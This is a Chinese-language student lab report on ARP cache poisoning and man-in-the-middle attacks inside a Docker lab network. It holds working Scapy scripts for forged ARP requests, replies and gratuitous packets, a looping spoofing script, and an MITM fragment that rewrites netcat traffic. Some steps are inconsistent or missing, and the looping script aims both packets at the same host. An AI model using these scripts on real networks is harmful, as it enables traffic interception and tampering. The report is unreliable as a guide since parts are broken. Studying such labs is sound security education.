

# 网络空间安全实训 第四次实验报告

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## Task 4.1

1. 首先在 B 上向 A 发送消息，这里使用 ping。

```
root@6a1643e9e5d9:/# arp -n
root@6a1643e9e5d9:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.204 ms
```

2. 在 A 上查看 ARP 缓存，可以看到 B 的 ARP 条目已经被存入。

```
root@6a1643e9e5d9:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                  ether    02:42:0a:09:00:06    C                      eth0
```

## Task 4.1.A

1. 首先编写 op=1，即 request 类型的污染脚本。

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 1
A.psrc = "10.9.0.2"
A.pdst = "10.9.0.5"
pkt = E/A
sendp(pkt, iface='eth0')
```

2. 运行脚本。

```
root@f27b54ff026e:/volumes# python3 ARP.py
.
Sent 1 packets.
```

3. 欺骗成功，ARP 缓存被污染。

```
root@6a1643e9e5d9:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105                ether    02:42:0a:09:00:69    C                      eth0
10.9.0.6                  ether    02:42:0a:09:00:06    C                      eth0
10.9.0.2                  ether    02:42:0a:09:00:69    C                      eth0
```

## Task 4.1.B

1. 首先编写 op=2, 即 reply 类型的欺骗脚本。

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 2
A.psrc = "10.9.0.6"
A.pdst = "10.9.0.5"
pkt = E/A
sendp(pkt, iface='eth0')
```

2. 首先是 10.9.0.6 已经被存入缓存的情况下, 可以看到没有被污染, 保持正确。

```
root@6a1643e9e5d9:/# arp -n
Address          HWtype  HWaddress      Flags Mask      Iface
10.9.0.105       ether   02:42:0a:09:00:69 C               eth0
10.9.0.6         ether   02:42:0a:09:00:06 C               eth0
10.9.0.2         ether   02:42:0a:09:00:69 C               eth0
root@6a1643e9e5d9:/# arp -n
Address          HWtype  HWaddress      Flags Mask      Iface
10.9.0.105       ether   02:42:0a:09:00:69 C               eth0
10.9.0.6         ether   02:42:0a:09:00:06 C               eth0
10.9.0.2         ether   02:42:0a:09:00:69 C               eth0
```

3. 如果在受害者正在通信的情况下, 例如 ping 时, 发送这个 reply, 则 ARP 缓存会遭到污染。

```
root@6a1643e9e5d9:/# arp -n
Address          HWtype  HWaddress      Flags Mask      Iface
10.9.0.2         ether   02:42:0a:09:00:69 C               eth0
10.9.0.105       ether   02:42:0a:09:00:69 C               eth0
10.9.0.6         ether   02:42:0a:09:00:69 C               eth0
10.9.0.3         ether   02:42:0a:09:00:69 C               eth0
```

4. 接下来将情况改为 ARP 缓存中不存在相关项时。

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 2
A.psrc = "10.9.0.3"
A.pdst = "10.9.0.5"
pkt = E/A
sendp(pkt, iface='eth0')
```

5. 直接发送 reply 欺骗包, 没有生效。

```
root@6a1643e9e5d9:/# arp -n
Address          HWtype  HWaddress      Flags Mask      Iface
10.9.0.105       ether   02:42:0a:09:00:69 C               eth0
10.9.0.6         ether   02:42:0a:09:00:06 C               eth0
10.9.0.2         ether   02:42:0a:09:00:69 C               eth0
```

6. 如果在通信的过程中，如使用 ping 时发送 reply 欺骗包，则生效，成功污染。

```
root@6a1643e9e5d9:/# ping 10.9.0.3
PING 10.9.0.3 (10.9.0.3) 56(84) bytes of data.
^C
--- 10.9.0.3 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2028ms

root@6a1643e9e5d9:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.105       ether   02:42:0a:09:00:69   C                   eth0
10.9.0.6         ether   02:42:0a:09:00:06   C                   eth0
10.9.0.2         ether   02:42:0a:09:00:69   C                   eth0
10.9.0.3         ether   02:42:0a:09:00:69   C                   eth0
```

## Task 4.1.C

1. 首先，针对条目中已有的地址，如 10.9.0.6，编写 gratuitous 类型的发包脚本，即源 IP 与目的 IP 均为发包的地址，目标 MAC 地址均为广播地址。

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.psrc = "10.9.0.6"
A.pdst = "10.9.0.6"
A.hwdst = "ff:ff:ff:ff:ff:ff"
E.dst = "ff:ff:ff:ff:ff:ff"
pkt = E/A
sendp(pkt, iface='eth0')
```

2. 污染成功，更改了 ARP 缓存中的条目。

```
root@6a1643e9e5d9:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.2         ether   02:42:0a:09:00:69   C                   eth0
10.9.0.105       ether   02:42:0a:09:00:69   C                   eth0
10.9.0.6         ether   02:42:0a:09:00:06   C                   eth0
10.9.0.3         ether   02:42:0a:09:00:69   C                   eth0
root@6a1643e9e5d9:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.2         ether   02:42:0a:09:00:69   C                   eth0
10.9.0.105       ether   02:42:0a:09:00:69   C                   eth0
10.9.0.6         ether   02:42:0a:09:00:69   C                   eth0
10.9.0.3         ether   02:42:0a:09:00:69   C                   eth0
```

3. 针对原来条目中不存在的地址 10.9.0.7。

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.psrc = "10.9.0.7"
A.pdst = "10.9.0.7"
A.hwdst = "ff:ff:ff:ff:ff:ff"
E.dst = "ff:ff:ff:ff:ff:ff"
pkt = E/A
sendp(pkt, iface='eth0')
```

4. 污染失败，ARP 缓存中没有新的条目。

```
root@6a1643e9e5d9:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.2          ether   02:42:0a:09:00:69 C             eth0
10.9.0.105        ether   02:42:0a:09:00:69 C             eth0
10.9.0.6           ether   02:42:0a:09:00:69 C             eth0
10.9.0.3           ether   02:42:0a:09:00:69 C             eth0
```

## Task 4.2

1. 首先，对第一题中的脚本做一些修改。为了保证 ARP 缓存的长期有效，每 5 秒对双方发送一次欺骗包。这样保证了在之后的实验期间内，ARP 的缓存都是错误的，双方对 IP 地址的解析都会指向攻击者。

```
1#!/usr/bin/env python3
2from scapy.all import *
3import time
4
5E = Ether()
6A1 = ARP()
7A1.op = 1
8A1.psrc = "10.9.0.6"
9A1.pdst = "10.9.0.5"
10A2 = ARP()
11A2.op = 1
12A2.psrc = "10.9.0.6"
13A2.pdst = "10.9.0.5"
14
15pkt1 = E/A1
16pkt2 = E/A2
17
18while(True):
19    sendp(pkt1, iface='eth0')
20    sendp(pkt2, iface='eth0')
21    time.sleep(5)
```

2. 关闭攻击者的 ip\_routing。在 10.9.0.5 上 ping 10.9.0.6。一开始一段时间都是没有反应的。在等待了几秒之后，才建立了连接。

```
root@6a1643e9e5d9:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.162 ms
64 bytes from 10.9.0.6: icmp_seq=11 ttl=64 time=0.112 ms
64 bytes from 10.9.0.6: icmp_seq=12 ttl=64 time=0.104 ms
64 bytes from 10.9.0.6: icmp_seq=13 ttl=64 time=0.108 ms
^^
```



3. 通过 Wireshark 抓包可以看到，在一段时间没有反应后，受害者发送了 ARP 广播报文，得到了正确的响应，所以可以 ping 通。

14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42 Who has 10.9.0.6? Tell	10.9.0.5
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42 Who has 10.9.0.6? Tell	10.9.0.5
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42 Who has 10.9.0.6? Tell	10.9.0.5
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	02:42:0a:09:00:05	Broadcast	ARP	42 Who has 10.9.0.6? Tell	10.9.0.5
14	21:2...	02:42:0a:09:00:06	02:42:0a:09:00:05	ARP	42 10.9.0.6 is at 02:42:0a:09:00:06	
14	21:2...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	id=0x0056, seq=
14	21:2...	10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	id=0x0056, seq=
Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface vethdf684cf, id 0						
Ethernet II, Src: 02:42:0a:09:00:05 (02:42:0a:09:00:05), Dst: 02:42:0a:09:00:69 (02:42:0a:09:00:69)						
Internet Protocol Version 4, Src: 10.9.0.5, Dst: 10.9.0.6						
Internet Control Message Protocol						

4. 关闭攻击者的 ip\_routing。在 10.9.0.5 上 ping 10.9.0.6。得到了回复。

```
root@6a1b643e9e5d9:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.112 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=64 time=0.142 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=64 time=0.117 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=64 time=0.147 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=5 ttl=64 time=0.234 ms
From 10.9.0.105: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=6 ttl=64 time=0.145 ms
64 bytes from 10.9.0.6: icmp_seq=7 ttl=64 time=0.103 ms
64 bytes from 10.9.0.6: icmp_seq=8 ttl=64 time=0.103 ms
64 bytes from 10.9.0.6: icmp_seq=9 ttl=64 time=0.102 ms
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.100 ms
64 bytes from 10.9.0.6: icmp_seq=11 ttl=64 time=0.102 ms
```

5. 通过抓包可以看到，攻击者发送了 redirect 报文，重新导向位置。在收到了多个 redirect 以后，受害者通过 ARP 广播，重新确认 IP 对应的 MAC。

1	2021-07-14	21:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request
2	2021-07-14	21:3...	10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply
3	2021-07-14	21:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request
4	2021-07-14	21:3...	10.9.0.105	10.9.0.5	ICMP	126 Redirect
5	2021-07-14	21:3...	10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply
6	2021-07-14	21:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request
7	2021-07-14	21:3...	10.9.0.105	10.9.0.5	ICMP	126 Redirect
8	2021-07-14	21:3...	10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply
9	2021-07-14	21:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request
10	2021-07-14	21:3...	10.9.0.105	10.9.0.5	ICMP	126 Redirect
11	2021-07-14	21:3...	10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply
12	2021-07-14	21:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request
13	2021-07-14	21:3...	10.9.0.105	10.9.0.5	ICMP	126 Redirect
14	2021-07-14	21:3...	10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply
15	2021-07-14	21:3...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request
16	2021-07-14	21:3...	10.9.0.105	10.9.0.5	ICMP	126 Redirect





10. 为了解决循环发包的问题,对 `filter` 进行修改。定义 `filter` 为目标 MAC 地址为攻击者 MAC。这样攻击者自己发出的包就不会进行捕获。

```
f = 'tcp and ether dst 02:42:0a:09:00:69|'
```

```
^Croot@322f9193bce9:/volumes# python3 MITM.py
```


```
.  
Sent 1 packets.
```

```
.  
Sent 1 packets.
```

```
.  
Sent 1 packets.
```

## Task 4.3

1. 首先建立 telnet 连接。



```
seed@VM: ~/.../volumes  
[07/15/21]seed@VM:~/.../volumes$ docksh b3  
root@b3b5c0c0ca6d:/# nc -lp 9090  
123  
321  
[07/15/21]seed@VM:~/.../volumes$ dockps  
b3b5c0c0ca6d A-10.9.0.5  
488441d075a4 B-10.9.0.6  
322f9193bce9 M-10.9.0.105  
[07/15/21]seed@VM:~/.../volumes$ docksh 48  
root@488441d075a4:/# nc 10.9.0.5 9090  
123  
321
```

2. 将 MITM 脚本中的数据修改改为将自己的名字 MH 替换成 AA。

```
newdata = data.replace(b'MH',b'AA')
```

3. 可以看到 10.9.0.6 向 10.9.0.5 方向发送的 MH 被替换成了 AA。



The image contains two terminal window screenshots. The top window shows a user running 'docksh b3' to capture traffic on interface b3. The output shows a sequence of bytes: 123, 321, 123, MH, and AA. The bottom window shows the user running 'dockps' to list active processes, identifying '488441d075a4' as connected to 10.9.0.6. Then, the user runs 'docksh 48' to manipulate traffic on that process. The output shows the bytes 123, 321, 123, and MH, indicating that the 'MH' from the previous capture was successfully replaced.

```
seed@VM: ~/.../volumes
[07/15/21]seed@VM:~/.../volumes$ docksh b3
root@b3b5c0c0ca6d:/# nc -lp 9090
123
321
123
MH
AA
]
```

```
seed@VM: ~/.../volumes
[07/15/21]seed@VM:~/.../volumes$ dockps
b3b5c0c0ca6d  A-10.9.0.5
488441d075a4  B-10.9.0.6
322f9193bce9  M-10.9.0.105
[07/15/21]seed@VM:~/.../volumes$ docksh 48
root@488441d075a4:/# nc 10.9.0.5 9090
123
321
123
MH
MH
```